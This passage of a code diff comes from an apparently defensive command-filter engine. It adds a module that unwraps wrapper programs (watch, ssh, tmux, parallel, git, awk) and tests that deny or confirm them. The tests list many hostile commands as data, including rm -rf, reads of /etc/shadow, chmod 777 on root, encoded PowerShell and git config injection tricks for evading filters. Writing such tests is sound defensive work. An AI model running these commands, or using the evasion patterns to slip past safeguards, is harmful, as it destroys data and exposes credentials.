/srv"), + ( + "nsenter --target=1 --mount cat /etc/shadow", + "cat /etc/shadow", + ), + ("chrt -f 10 rm -rf /srv", "rm -rf /srv"), + ("unshare -r -m rm -rf /srv", "rm -rf /srv"), + ( + "setpriv --reuid 0 --clear-groups rm -rf /srv", + "rm -rf /srv", + ), + ("pkexec --user root rm -rf /srv", "rm -rf /srv"), + ("run0 -u root shutdown -h now", "shutdown -h now"), + ("flock /tmp/l -c 'rm -rf /srv'", "rm -rf /srv"), + ("script -qc 'rm -rf /srv' /dev/null", "rm -rf /srv"), + ("sg wheel -c 'rm -rf /srv'", "rm -rf /srv"), + ("find / -exec rm -rf {} +", "rm -rf /srv"), + ("find /srv -execdir rm -rf {} \\;", "rm -rf /srv"), + ("tmux new-session -d 'rm -rf /srv'", "rm -rf /srv"), + ("tmux new -d rm -rf /srv", "rm -rf /srv"), + ("tmux split-window -h 'shutdown -h now'", "shutdown -h now"), + ("screen -dm rm -rf /srv", "rm -rf /srv"), + ("parallel ::: 'rm -rf /srv'", "rm -rf /srv"), + ("parallel rm -rf ::: /srv", "rm -rf /srv"), + ("ssh host 'rm -rf /srv'", "rm -rf /srv"), + ("ssh host rm -rf /srv", "rm -rf /srv"), + ( + "ssh -p 22 -i key host -- cat /etc/shadow", + "cat /etc/shadow", + ), + ("mosh host -- rm -rf /srv", "rm -rf /srv"), + ("pdsh -w web[1-3] rm -rf /srv", "rm -rf /srv"), + ("kubectl exec -it pod -- rm -rf /srv", "rm -rf /srv"), + ("docker exec -it web rm -rf /srv", "rm -rf /srv"), + ("docker run --rm -v /:/h alpine rm -rf /srv", "rm -rf /srv"), + ( + "podman container exec web shutdown -h now", + "shutdown -h now", + ), + ("machinectl shell box rm -rf /srv", "rm -rf /srv"), + ("ansible all -m shell -a 'rm -rf /srv'", "rm -rf /srv"), + ("git -c alias.x='!rm -rf /srv' x", "rm -rf /srv"), + ("sudo watch 'rm -rf /srv'", "sudo rm -rf /srv"), + ("env watch 'rm -rf /srv'", "env rm -rf /srv"), + ("ls && watch 'rm -rf /srv'", "ls && rm -rf /srv"), + ( + "parallel 'echo {}; cat {}' ::: /etc/shadow", + "echo /etc/shadow; cat /etc/shadow", + ), + ( + "parallel '{1} -R 777 {2}' ::: chmod ::: /", + "chmod -R 777 /", + ), +]; + +#[tokio::test] +async fn test_adv_execution_wrapper_keeps_decision_and_risk() { + let found = mismatches(WRAPPED_AND_BARE).await; + assert!(found.is_empty(), "{}", found.join("\n")); +} + +/// Commands whose text is read by other rules (`cmd`, PowerShell) or typed +/// into a session (`tmux send-keys`, `screen -X stuff`): a Deny rule on +/// what can be read still denies, and nothing runs without confirmation. +#[tokio::test] +async fn test_adv_foreign_syntax_and_keys_hit_deny_rule() { + use base64::Engine as _; + let utf16: Vec = "rm -rf /srv" + .encode_utf16() + .flat_map(u16::to_le_bytes) + .collect(); + let encoded = base64::engine::general_purpose::STANDARD.encode(utf16); + for cmd in [ + "cmd /C rm -rf /srv".to_string(), + "cmd.exe /s /k \"rm x & dir\"".to_string(), + "powershell -NoProfile -Command \"rm -r -fo C:\\x\"".to_string(), + "pwsh -c 'Get-Date; rm x'".to_string(), + format!("powershell -EncodedCommand {encoded}"), + format!("pwsh -enc {encoded}"), + "tmux send-keys -t 0 'rm -rf /srv' Enter".to_string(), + "screen -S x -X stuff 'rm -rf /srv\\n'".to_string(), + ] { + assert_denied_by_rm_rule(&cmd).await; + } +} + +/// A program whose commands cannot be read (from stdin, encoded, keys, +/// another language, unknown options) is never `AutoExec`. +#[tokio::test] +async fn test_adv_unreadable_runner_commands_never_autoexec() { + for cmd in [ + "echo x | ssh host", + "echo x | su -", + "echo x | sudo -i", + "echo x | sudo -s", + "echo x | doas -s", + "echo x | at now", + "echo x | batch", + "echo x | pdsh -w h", + "echo x | parallel", + "echo x | sg wheel", + "echo x | cmd", + "echo x | powershell -Command -", + "echo x | lua", + "powershell -EncodedCommand AAAA", + "tmux send-keys -t 0 'ls' Enter", + "watch -Z 1 ls", + "ssh -Z host ls", + "su -s /usr/bin/python3 -c 'import os'", + "lua -e 'print(1)'", + "Rscript -e 'print(1)'", + "osascript -e 'beep'", + "awk 'BEGIN { system(\"ls\") }'", + "awk '{ print | \"sort\" }' f", + "kubectl exec pod ls", + "watch $CMD", + "ssh host \"$CMD\"", + "echo x | sudo --lo", + "echo x | sudo --sh", + "echo x | nsenter -t 1 -a", + "echo x | chroot /", + "echo x | unshare -r", + "echo x | pkexec", + "echo x | run0", + "echo x | systemd-run -S", + "echo x | machinectl shell box", + "echo x | docker run -i alpine", + "echo x | kubectl run -i --image=alpine x", + "tmux new- 'ls'", + "tmux source-file x.conf", + "parallel ::: rm ::: -rf ::: /srv", + "awk 'BEGIN { c = \"ls\"; c | getline }'", + "awk 'BEGIN { c = \"sh\"; print \"ls\" | c }'", + "gawk 'BEGIN { f = \"sys\" \"tem\"; @f(\"ls\") }'", + "git -c protocol.ext.allow=always fetch x", + "GIT_CONFIG_PARAMETERS=x git x", + "awk 'BEGIN { a = 1./2; print \"ls\" | \"sh\"; b = 1./2 }'", + "echo x | script -q /dev/null", + "echo x | docker run -i --tty=false alpine", + "echo x | docker start -ai c", + "awk 'BEGIN { x = \"ls\"; print /\"/ ; print x | \"sh\" ; print /\"/ }'", + "tmux display -p '#{E:@a}'", + "GIT_TEMPLATE_DIR=/tmp/t git clone x", + "git clone --template=/tmp/t x", + "parallel -N3 '{1} {2} {3}' ::: rm -rf /srv", + "parallel --colsep , '{1} {2} {3}' ::: rm,-rf,/srv", + "awk 'BEGIN { y = /\"/; print \"ls\" | \"sh\"; z = /\"/ }'", + ] { + assert_never_autoexec(cmd).await; + } +} + +/// Code in another language: the commands it passes to `system()` and the +/// like are checked like a command of their own. +#[tokio::test] +async fn test_adv_commands_in_interpreter_code_hit_deny_rule() { + for cmd in [ + "awk 'BEGIN { system(\"rm -rf /srv\") }'", + "gawk -e 'BEGIN { print | \"rm -rf /srv\" }'", + "lua -e 'os.execute(\"rm -rf /srv\")'", + "Rscript -e 'system(\"rm -rf /srv\")'", + "osascript -e 'do shell script \"rm -rf /srv\"'", + "python3 -c 'import subprocess; subprocess.run([\"rm\", \"-rf\", \"/srv\"])'", + "pypy3 -c 'import os; os.system(\"rm -rf /srv\")'", + "node -e 'require(\"child_process\").execSync(\"rm -rf /srv\")'", + "php -r 'system(\"rm -rf /srv\");'", + "ruby -e '`rm -rf /srv`'", + "perl -le'system(\"rm -rf /srv\")'", + ] { + assert_denied_by_rm_rule(cmd).await; + } +} + +/// Wrapped commands nested in each other are unwrapped level by level. +#[tokio::test] +async fn test_adv_nested_execution_wrappers_hit_deny_rule() { + for cmd in [ + "watch \"ssh host 'su -c \\\"rm -rf /srv\\\"'\"", + "sudo -u x systemd-run --scope tmux new -d \"find / -exec rm -rf {} +\"", + "ssh a ssh b ssh c rm -rf /srv", + "find . -exec sh -c 'rm -rf \"$1\"' _ {} \\;", + "tmux if-shell true 'run-shell \"rm -rf /srv\"'", + "screen -X eval 'stuff \"rm -rf /srv\\n\"'", + "parallel sh -c ::: 'rm -rf /srv'", + "runuser bob -- -c 'rm -rf /srv'", + "su bob -- -c 'rm -rf /srv'", + "tmux spl 'rm -rf /srv'", + "tmux ru 'rm -rf /srv'", + "tmux pip 'rm -rf /srv'", + "tmux new -d sleep\\; run-shell 'rm -rf /srv'", + "tmux set -g default-command 'rm -rf /srv' \\; new -d", + "screen -X -S x stuff 'rm -rf /srv\\n'", + "screen -XS x stuff 'rm -rf /srv\\n'", + "screen -X -p 0 exec rm -rf /srv", + "screen -dm -s 'rm -rf /srv'", + "parallel --arg-sep ,, ,, 'rm -rf /srv'", + "parallel -I XX XX ::: 'rm -rf /srv'", + "parallel ::: rm ::: -rf ::: /srv", + "parallel 'echo {= system(\"rm -rf /srv\") =}' ::: a", + "podman exec -l rm -rf /srv", + "podman exec --latest rm -rf /srv", + "git --attr-source HEAD -c alias.x='!rm -rf /srv' x", + "git -c pager.log='rm -rf /srv;' log", + "git -c filter.lfs.smudge='rm -rf /srv' checkout", + "git -c difftool.x.cmd='rm -rf /srv' difftool", + "git ls-remote --upload-pack='rm -rf /srv;' .", + "GIT_SSH_COMMAND='rm -rf /srv;' git fetch", + "env GIT_SSH_COMMAND='rm -rf /srv;' git fetch", + "watch -x sh -c 'rm -rf /srv'", + "parallel -I XX XX ::: ls 'rm -rf /srv'", + "parallel {} ::: ls 'rm -rf /srv'", + "parallel eval ::: ls 'rm -rf /srv'", + "parallel sh -c ::: ls 'rm -rf /srv'", + "screen -x x -X stuff 'rm -rf /srv\\n'", + "git ls-remote --upload-pa='rm -rf /srv;' .", + "git rebase -ix 'rm -rf /srv' HEAD~1", + "git submodule --quiet foreach 'rm -rf /srv'", + "GIT_SSH_COMMAND='rm -rf /srv;' timeout 5 git fetch", + "sudo GIT_SSH_COMMAND='rm -rf /srv;' git fetch", + "tmux set -g default-comm 'rm -rf /srv' \\; new -d", + "tmux set -g status-right '#(rm -rf /srv)'", + "tmux display-message -p '#(rm -rf /srv)'", + "tmux command-prompt -I x 'run-shell \"rm -rf /srv\"'", + "parallel ssh host ::: uptime 'rm -rf /srv'", + "parallel watch ::: uptime 'rm -rf /srv'", + "parallel '{1} {2} {3}' ::: rm ::: -rf ::: /srv", + ] { + assert_denied_by_rm_rule(cmd).await; + } +} + +/// `find -delete` removes what it finds, like `rm -r`. +#[tokio::test] +async fn test_adv_find_delete_is_checked_like_rm() { + let found = mismatches(&[ + ("find /srv -delete", "rm -r /srv"), + ("find -name '*.log' -delete", "rm -r ."), + ("find / -xdev -delete", "rm -r /"), + ]) + .await; + assert!(found.is_empty(), "{}", found.join("\n")); +} + +/// Ordinary calls of these programs stay `AutoExec` under `Allow *`. +#[tokio::test] +async fn test_adv_benign_execution_wrappers_stay_autoexec() { + for cmd in [ + "watch df -h", + "watch -n 5 'df -h'", + "ssh host uptime", + "ssh -p 2222 host 'uptime; df -h'", + "find . -name x", + "find . -name '*.py' -exec grep -l foo {} +", + "su -c ls", + "systemd-run --user --scope ls", + "taskset -c 0 ls", + "tmux ls", + "tmux new -d top", + "screen -ls", + "parallel echo ::: a b", + "kubectl get pods", + "kubectl exec pod -- ls", + "docker ps", + "docker run --rm alpine ls", + "awk '{print $1}' f", + "awk '/a|b/' f", + "git -c core.pager=less log", + "git status", + "sudo -i ls", + "watch -tn1 ls", + "ssh -t host htop", + "git -c color.ui=always log", + "git rebase -i main", + "docker run --rm -it --name x -p 80:80 nginx", + "docker compose up -d", + "tmux new -d -s work", + "tmux attach", + "tmux set -g mouse on", + "screen -dmS x top", + "screen -X -S x quit", + "awk -F: '{print $1 / 2}' f", + "awk '{print > \"out\"}' f", + "nsenter -t 1 -n ip a", + "podman exec -l ls", + "parallel gzip ::: a b", + "awk '$1 ~ /a|b/ { n++ } END { print n }' f", + "tmux display -p '#{session_name}'", + "git fetch --prune origin", + "screen -r work", + ] { + assert_benign_autoexec(cmd).await; + } +} + +/// An Allow rule on the wrapper covers the command it runs, as for `env` +/// or `timeout`, unless a Deny rule or the hard blacklist applies to it. +#[tokio::test] +async fn test_adv_allow_rule_on_wrapper_covers_only_harmless_commands() { + for (allow, harmless, denied) in [ + ("watch *", "watch df -h", "watch rm -rf /srv"), + ("ssh *", "ssh host uptime", "ssh host rm -rf /srv"), + ("find *", "find . -exec ls {} +", "find . -exec rm {} +"), + ("tmux *", "tmux new -d top", "tmux new -d 'rm x'"), + ] { + let eng = engine(vec![ + rule("allow", allow, RuleAction::Allow, 100), + deny_rm(), + ]); + let decision = eng.evaluate(harmless, &ctx()).await; + assert_eq!(decision, Decision::AutoExec, "{harmless:?}"); + let decision = eng.evaluate(denied, &ctx()).await; + assert!( + matches!(decision, Decision::Deny { .. }), + "{denied:?}: {decision:?}" + ); + let blacklisted = denied + .replace("rm x", "rm -rf /") + .replace("rm {}", "rm -rf {}"); + let eng = engine(vec![rule("allow", allow, RuleAction::Allow, 100)]); + let decision = eng.evaluate(&blacklisted, &ctx()).await; + assert!( + matches!(decision, Decision::Confirm { .. }), + "{blacklisted:?}: {decision:?}" + ); + } +} + +/// `nested` levels of `head '…'` around `inner`. +fn nested(inner: &str, levels: usize, head: &str) -> String { + let mut command = inner.to_string(); + for _ in 0..levels { + command = format!("{head} '{}'", command.replace('\'', "'\\''")); + } + command +} + +/// Long chains and deep nesting of wrappers are evaluated in bounded time +/// and on a small stack (2 MiB, like a worker thread), each level counting +/// towards the depth limit: too deep is `Deny`, never `AutoExec`. Each input +/// takes a few seconds at most in a debug build (most of it the risk rating +/// of 32 levels); the bound leaves room for a loaded test machine, while +/// work that grows exponentially with the nesting takes minutes. +#[test] +fn test_adv_long_wrapper_chains_are_bounded() { + let mut inputs: Vec = Vec::new(); + // Each chain is longer than the depth limit; the cost of a level grows + // with the text, so 4 KB show the bound as well as the length limit. + for prefix in [ + "watch ", + "ssh h ", + "sudo -\"$X\" watch ", + "find {}{} -exec ", + "tmux new -d ", + "sudo -i ", + "powershell -c ", + "systemd-run ", + "parallel ", + "sg g ", + ] { + let chain = prefix.repeat(4_000 / prefix.len()); + inputs.push(format!("{chain}rm -rf /srv")); + inputs.push(format!("{chain}rm '")); + } + inputs.push(format!( + "parallel sh -c {{}} ::: {}", + "'rm -rf /srv' ".repeat(1000) + )); + inputs.push(format!( + r"find {} -exec {} \;", + "/a".repeat(3000), + "{} ".repeat(1500) + )); + for head in ["watch", "su -c", "ssh h", "tmux new -d", "screen -X eval"] { + inputs.push(nested("rm -rf /srv", 12, head)); + } + // Each level copies the command of the level below once per argument + // or per replacement string, at small and large sizes. + for levels in [3, 4, 6, 8] { + for template in ["'{}'", "'{};{};{};{}'", "'{1};{1};{1};{1};{1};{1}'", ""] { + let mut fanned = "rm -rf /srv".to_string(); + for _ in 0..levels { + let quoted = shell_words::quote(&fanned).into_owned(); + fanned = if template.is_empty() { + format!("parallel {quoted} ::: a b c d e f g h") + } else { + format!("parallel {template} ::: {quoted} {quoted}") + }; + } + inputs.push(fanned); + } + } + let worker = std::thread::Builder::new() + .stack_size(2 << 20) + .spawn(move || { + let runtime = tokio::runtime::Builder::new_current_thread() + .build() + .expect("runtime"); + let eng = engine(vec![allow_all(), deny_rm()]); + for input in inputs { + let started = std::time::Instant::now(); + let decision = runtime.block_on(eng.evaluate(&input, &ctx())); + let _ = RuleBasedRiskClassifier.classify(&input); + let elapsed = started.elapsed(); + assert!( + !matches!(decision, Decision::AutoExec), + "{}…: AutoExec", + &input[..40] + ); + assert!( + elapsed < std::time::Duration::from_secs(30), + "{}…, {} bytes: {elapsed:?}", + &input[..40], + input.len() + ); + } + }) + .expect("thread"); + worker + .join() + .expect("no stack overflow or failed assertion"); +} diff --git a/crates/core/src/filter/blacklist.rs b/crates/core/src/filter/blacklist.rs index 8dd7d3bb8..509872ef8 100644 --- a/crates/core/src/filter/blacklist.rs +++ b/crates/core/src/filter/blacklist.rs @@ -1,5 +1,6 @@ use std::sync::OnceLock; +use super::pattern::CompiledPattern; use super::types::Pattern; /// Fest codierte, über die öffentliche API nicht entfernbare Menge @@ -72,9 +73,19 @@ pub(super) fn matching_entry(cmd: &str) -> Option { // Alle Blacklist-Muster sind bereits in Kleinschreibung formuliert, daher // reicht es, `cmd` einmal hier zu lowercasen, um case-insensitives // Matching für Glob/Exact/Regex einheitlich zu erreichen. + static COMPILED: OnceLock> = OnceLock::new(); + let compiled = + COMPILED.get_or_init(|| hard_blacklist().iter().map(CompiledPattern::new).collect()); let lower = cmd.to_lowercase(); hard_blacklist() .iter() - .find(|pattern| pattern.matches(&lower)) - .map(|pattern| pattern.display_text().to_string()) + .zip(compiled) + .find(|(_, compiled)| compiled.matches(&lower)) + .map(|(pattern, _)| pattern.display_text().to_string()) +} + +/// [`matching_entry`] of the first of `texts` that matches, e.g. the resolved +/// forms of one segment (Issue #1208). +pub(super) fn first_matching_entry(texts: &[String]) -> Option { + texts.iter().find_map(|text| matching_entry(text)) } diff --git a/crates/core/src/filter/command_runners.rs b/crates/core/src/filter/command_runners.rs new file mode 100644 index 000000000..f801551a0 --- /dev/null +++ b/crates/core/src/filter/command_runners.rs @@ -0,0 +1,948 @@ +//! Programs that run a command line they get as arguments: `watch`, `su -c`, +//! `find -exec`, `ssh host …`, `tmux`, `screen`, `parallel`, `cmd /C`, +//! `powershell -Command` and others. The command line each of them runs is +//! evaluated like a command of its own, so Deny rules, the hard blacklist and +//! the risk rating see it as they see the bare command. Where it cannot be +//! told for sure (an unknown option, keys sent to a session, commands read +//! from stdin, another shell's syntax), the call needs at least `Confirm`. +//! +//! Wrappers that run their arguments directly and only have options in front +//! (`env`, `timeout`, `systemd-run`, …) are stripped as prefixes instead +//! (`prefix_strip`); this module reads the forms that are left after that. + +mod git; +mod languages; +mod parallel; +mod remote; +mod sessions; + +use super::engine::FILTER_NO_RULE_MATCHED; +use super::parser::{normalize_whitespace, resolve_effective_command, strip_substitutions}; +use super::prefix_strip::option_may_change; +use super::prefix_words::{prefix_words, PrefixWord}; +use super::types::{Decision, EvaluationTrace}; +use super::wrapper_options::{ + classify_option, passthrough_option_table, sudo_long_option_may_be, OptionTable, OptionWord, +}; + +/// The programs this module reads (lower-cased basenames, without `.exe`). +pub(crate) const COMMAND_RUNNERS: &[&str] = &[ + "sudo", + "doas", + "watch", + "su", + "runuser", + "flock", + "script", + "find", + "at", + "batch", + "parallel", + "cmd", + "powershell", + "pwsh", + "tmux", + "screen", + "ssh", + "mosh", + "pdsh", + "kubectl", + "docker", + "podman", + "docker-compose", + "podman-compose", + "machinectl", + "ansible", + "sg", + "git", + "awk", + "gawk", + "mawk", + "nawk", + "lua", + "luajit", + "rscript", + "osascript", +]; + +/// Why the command line of a call needs at least `Confirm`. +pub(crate) const UNSURE_OPTIONS: &str = + "Optionen eines Programms, das ein weiteres Kommando ausführt (watch, ssh, \ + find -exec, ...), ließen sich nicht sicher auswerten"; +const READS_STDIN: &str = + "Programm liest die auszuführenden Kommandos von der Standardeingabe oder aus einer \ + Datei, ihr Inhalt ist nicht prüfbar"; +const SENDS_KEYS: &str = "tmux/screen schickt Tastatureingaben an eine Sitzung; was dort \ + ausgeführt wird, ist nicht sicher prüfbar"; +const FOREIGN_SYNTAX: &str = + "cmd/PowerShell-Kommandozeile folgt eigenen Regeln und ist nicht sicher zerlegbar"; +const ENCODED: &str = "PowerShell-Code ist kodiert übergeben (-EncodedCommand) und nicht \ + sicher prüfbar"; + +/// What the runners among a segment's forms run. +#[derive(Debug, Default, PartialEq, Eq)] +pub(crate) struct RunnerCommands { + /// Each command line a runner runs, to be evaluated as a command. + pub(crate) codes: Vec, + /// Why the call needs at least `Confirm`, if it does. + pub(crate) unsure: Vec<&'static str>, +} + +/// The commands the runners among `forms` (a segment's resolved forms, see +/// `parser::resolved_segment_forms`) run, each once. A command that another +/// one reaches by itself (`watch watch x` and `watch x`, which readings of +/// an option with an expansion give) is left out: evaluating it at every +/// level of such a chain would take exponential time. +pub(crate) fn runner_commands(forms: &[String]) -> RunnerCommands { + let mut result = RunnerCommands::default(); + let mut keys: Vec = Vec::new(); + for form in forms { + let Some(found) = runner_commands_of(form) else { + continue; + }; + for reason in found.unsure { + if !result.unsure.contains(&reason) { + result.unsure.push(reason); + } + } + for code in found.codes { + if code.trim().is_empty() { + continue; + } + // The form without substitutions gives the same code without + // them; the one with them is kept, its evaluation reads both. + let key = code_key(&code); + match keys.iter().position(|known| *known == key) { + Some(at) if code.len() > result.codes[at].len() => result.codes[at] = code, + Some(_) => {} + None => { + keys.push(key); + result.codes.push(code); + } + } + } + } + if result.codes.len() > 1 { + result.codes = without_reachable(std::mem::take(&mut result.codes)); + } + result +} + +fn code_key(code: &str) -> String { + normalize_whitespace(&strip_substitutions(code).0) +} + +/// How far [`without_reachable`] follows a chain. The readings of a +/// segment differ in at most this many words (`prefix_strip`), so the +/// command of one reading is at most this many levels below another's. +const MAX_CHAIN: usize = 8; + +/// `codes` without those that another one runs by itself, through a chain +/// of single runner calls (main reading only, so the chain is linear). +fn without_reachable(codes: Vec) -> Vec { + let mut by_length: Vec<&String> = codes.iter().collect(); + by_length.sort_by_key(|code| std::cmp::Reverse(code.len())); + let mut reachable: Vec = Vec::new(); + let mut dropped: Vec<&String> = Vec::new(); + for code in by_length { + if reachable.contains(&code_key(code)) { + dropped.push(code); + continue; + } + let mut current = code.clone(); + for _ in 0..MAX_CHAIN { + let resolved = resolve_effective_command(&normalize_whitespace(¤t)); + match runner_commands_of(&resolved).map(|found| found.codes) { + Some(inner) if inner.len() == 1 => { + current = inner.into_iter().next().unwrap_or_default(); + reachable.push(code_key(¤t)); + } + _ => break, + } + } + } + let dropped: Vec = dropped.into_iter().cloned().collect(); + codes + .into_iter() + .filter(|code| !dropped.contains(code)) + .collect() +} + +/// The decision the evaluation `trace` of a command a runner runs adds to +/// the runner call. That command needs no Allow rule of its own, like the +/// command behind `env` or `timeout`: the rule that matches the call +/// decides what no rule of the command does. Everything else counts as it +/// is, a Deny or Confirm rule, the hard blacklist, a redirection or a part +/// that cannot be analysed. +pub(super) fn covered_by_call(trace: &EvaluationTrace) -> Decision { + match &trace.decision { + Decision::Confirm { code, .. } if code == FILTER_NO_RULE_MATCHED => Decision::AutoExec, + decision => decision.clone(), + } +} + +/// Whether `program` runs a command given to it: a shell or interpreter, a +/// pass-through wrapper, `eval` or one of [`COMMAND_RUNNERS`]. +#[cfg(test)] +pub(crate) fn runs_given_commands(program: &str) -> bool { + COMMAND_RUNNERS.contains(&program) + || super::parser::is_elevation_or_passthrough_wrapper(program) + || !super::parser::eval_codes(&format!("{program} x")).is_empty() + || matches!( + super::parser::program_source(&format!("{program} -c x")), + Some(super::parser::ProgramSource::Code(_)) + ) +} + +/// What one runner call runs. +#[derive(Default)] +struct Found { + codes: Vec, + unsure: Vec<&'static str>, +} + +impl Found { + fn code(&mut self, code: impl Into) { + self.codes.push(code.into()); + } + + fn unsure(&mut self, reason: &'static str) { + if !self.unsure.contains(&reason) { + self.unsure.push(reason); + } + } + + fn unsure_if(&mut self, condition: bool) { + if condition { + self.unsure(UNSURE_OPTIONS); + } + } +} + +/// The words of a form, with the text they come from. +struct Words<'a> { + form: &'a str, + words: Vec, +} + +impl Words<'_> { + fn len(&self) -> usize { + self.words.len() + } + + fn text(&self, i: usize) -> &str { + self.words.get(i).map_or("", |word| word.text.as_str()) + } + + /// Words `from..to` as the program gets them, joined by blanks: the + /// command line a program passes on to a shell (`watch`, `ssh`). + fn joined(&self, from: usize, to: usize) -> String { + let to = to.min(self.len()); + self.words + .get(from..to) + .unwrap_or_default() + .iter() + .map(|word| word.text.as_str()) + .collect::>() + .join(" ") + } + + /// Words `from..to` as written, quotes and expansions kept: the command + /// a program runs directly with these words as its arguments. + fn raw(&self, from: usize, to: usize) -> String { + let to = to.min(self.len()); + if from >= to { + return String::new(); + } + self.form[self.words[from].start..self.words[to - 1].end].to_string() + } +} + +/// One option read by [`walk`]: its letter or (complete) long name, and its +/// value if it takes one. +struct Opt { + name: String, + value: Option, +} + +/// The options read by [`walk`]. +struct Walked { + opts: Vec, + /// The words that are not options (with `permute`). + operands: Vec, + /// The first word after the options (without `permute`). + end: usize, + /// Whether an option was unknown or an expansion may change one. + unknown: bool, +} + +impl Walked { + fn has(&self, names: &[&str]) -> bool { + self.opts + .iter() + .any(|opt| names.contains(&opt.name.as_str())) + } + + fn values<'a>(&'a self, names: &'a [&str]) -> impl Iterator + 'a { + self.opts + .iter() + .filter(|opt| names.contains(&opt.name.as_str())) + .filter_map(|opt| opt.value.as_deref()) + } +} + +/// Reads the options of words `from..to` by `table`, like `getopt_long`: +/// up to the first word that is not an option, or with `permute` all of +/// them up to `--`. +fn walk(words: &Words, from: usize, to: usize, table: &OptionTable, permute: bool) -> Walked { + let to = to.min(words.len()); + let mut walked = Walked { + opts: Vec::new(), + operands: Vec::new(), + end: to, + unknown: false, + }; + let mut i = from; + while i < to { + let word = &words.words[i]; + let text = word.text.as_str(); + walked.unknown |= option_may_change(words.form, word); + if text == "--" { + i += 1; + if permute { + walked.operands.extend(i..to); + i = to; + } + break; + } + if !text.starts_with('-') || text == "-" { + if !permute { + break; + } + walked.operands.push(i); + i += 1; + continue; + } + let (mut opts, takes_next, unknown) = parse_option(table, text); + walked.unknown |= unknown; + i += 1; + if takes_next { + if let Some(last) = opts.last_mut() { + last.value = Some(words.text(i).to_string()); + } + i += 1; + } + walked.opts.append(&mut opts); + } + walked.end = i.min(to); + walked +} + +/// The options in one option word, whether the last takes the next word as +/// its value, and whether one is unknown. +fn parse_option(table: &OptionTable, word: &str) -> (Vec, bool, bool) { + if let Some(long) = word.strip_prefix("--") { + let (name, attached) = match long.split_once('=') { + Some((name, value)) => (name, Some(value.to_string())), + None => (long, None), + }; + let class = classify_option(table, word); + let full = table + .long + .iter() + .find(|(option, _)| *option == name) + .or_else(|| { + let mut matching = table.long.iter().filter(|(o, _)| o.starts_with(name)); + matching.next().filter(|_| matching.next().is_none()) + }) + .map_or(name, |(option, _)| option); + let opt = Opt { + name: full.to_string(), + value: attached, + }; + return ( + vec![opt], + class == OptionWord::TakesNext, + class == OptionWord::Unknown, + ); + } + let mut opts = Vec::new(); + let mut unknown = false; + for (pos, letter) in word.char_indices().skip(1) { + let rest = &word[pos + letter.len_utf8()..]; + let name = letter.to_string(); + if table.short_value.contains(letter) { + let takes_next = rest.is_empty(); + let value = (!takes_next).then(|| rest.to_string()); + opts.push(Opt { name, value }); + return (opts, takes_next, unknown); + } + if table.short_optional.contains(letter) { + let value = (!rest.is_empty()).then(|| rest.to_string()); + opts.push(Opt { name, value }); + return (opts, false, unknown); + } + unknown |= !table.short_flags.contains(letter); + opts.push(Opt { name, value: None }); + } + (opts, false, unknown) +} + +/// The basename of a program word, lower-cased and without `.exe`. +fn program_name(word: &str) -> String { + let base = word.rsplit(['/', '\\']).next().unwrap_or(word); + let lower = base.to_ascii_lowercase(); + lower + .strip_suffix(".exe") + .map_or(lower.clone(), str::to_string) +} + +/// What the runner call `form` (a resolved form, its command word first) +/// runs; `None` if it is no runner call. +fn runner_commands_of(form: &str) -> Option { + let words = Words { + form, + words: prefix_words(form), + }; + let name = program_name(words.text(0)); + let mut found = Found::default(); + if languages::is_interpreter(&name) { + languages::interpreter(form, &mut found); + return Some(found); + } + // `sudo -i`, `nsenter -t 1 -a` and the like without a command start a + // shell that reads stdin; `prefix_strip` gives them as `HEAD -s`. + if words.len() == 2 && words.text(1) == "-s" && name != "su" { + let shell = ["sudo", "doas", "systemd-run"].contains(&name.as_str()) + || SHELL_WITHOUT_COMMAND.contains(&name.as_str()); + if shell { + found.unsure(READS_STDIN); + return Some(found); + } + } + // `GIT_SSH_COMMAND=… [wrappers] git …`: the literal of a segment keeps + // the assignments the resolved forms strip. + if name != "git" { + if let Some(git) = (1..words.len()).find(|&i| program_name(words.text(i)) == "git") { + git::variables(&words, git, &mut found); + if !found.codes.is_empty() || !found.unsure.is_empty() { + return Some(found); + } + } + } + if !COMMAND_RUNNERS.contains(&name.as_str()) { + return None; + } + match name.as_str() { + "watch" => watch(&words, &mut found), + "su" | "runuser" => su(&words, &name, &mut found), + "flock" | "script" => code_option_only(&words, &name, &mut found), + "find" => find(&words, &mut found), + "at" | "batch" => at(&words, &mut found), + "parallel" => parallel::parallel(&words, &mut found), + "cmd" => cmd(&words, &mut found), + "powershell" | "pwsh" => powershell(&words, &mut found), + "tmux" => sessions::tmux(&words, &mut found), + "screen" => sessions::screen(&words, &mut found), + "ssh" => remote::ssh(&words, &mut found), + "mosh" => remote::mosh(&words, &mut found), + "pdsh" => remote::pdsh(&words, &mut found), + "kubectl" => remote::kubectl(&words, &mut found), + "docker" | "podman" => remote::docker(&words, 1, &mut found), + "docker-compose" | "podman-compose" => remote::compose(&words, 1, &mut found), + "machinectl" => remote::machinectl(&words, &mut found), + "ansible" => remote::ansible(&words, &mut found), + "sg" => sg(&words, &mut found), + "git" => git::git(&words, &mut found), + "awk" | "gawk" | "mawk" | "nawk" => languages::awk(&words, &mut found), + "lua" | "luajit" | "rscript" | "osascript" => { + languages::other_language(&words, &name, &mut found); + } + _ => return None, + } + Some(found) +} + +const WATCH_OPTIONS: OptionTable = OptionTable { + short_value: "nq", + short_optional: "d", + short_flags: "bcCegprtwxhv", + long: &[ + ("interval", true), + ("equexit", true), + ("differences", false), + ("beep", false), + ("color", false), + ("no-color", false), + ("errexit", false), + ("chgexit", false), + ("exec", false), + ("precise", false), + ("no-rerun", false), + ("no-title", false), + ("no-wrap", false), + ("help", false), + ("version", false), + ], +}; + +/// `watch [options] command…`: the words are joined and run by `sh -c` +/// (with `-x` directly). +fn watch(words: &Words, found: &mut Found) { + let walked = walk(words, 1, usize::MAX, &WATCH_OPTIONS, false); + found.unsure_if(walked.unknown); + if walked.end < words.len() { + // `-x` runs the words directly instead of through `sh -c`. + if walked.has(&["x", "exec"]) { + found.code(words.raw(walked.end, words.len())); + } else { + found.code(words.joined(walked.end, words.len())); + } + } +} + +const SU_LONG_OPTIONS: &[(&str, bool)] = &[ + ("command", true), + ("session-command", true), + ("fast", false), + ("group", true), + ("supp-group", true), + ("login", false), + ("preserve-environment", false), + ("pty", false), + ("shell", true), + ("whitelist-environment", true), + ("help", false), + ("version", false), +]; + +const SU_OPTIONS: OptionTable = OptionTable { + short_value: "cCgGsw", + short_optional: "", + short_flags: "flmpPhV", + long: SU_LONG_OPTIONS, +}; + +const RUNUSER_OPTIONS: OptionTable = OptionTable { + short_value: "cCgGswu", + short_optional: "", + short_flags: "flmpPhV", + long: &[ + ("command", true), + ("session-command", true), + ("fast", false), + ("group", true), + ("supp-group", true), + ("login", false), + ("preserve-environment", false), + ("pty", false), + ("shell", true), + ("whitelist-environment", 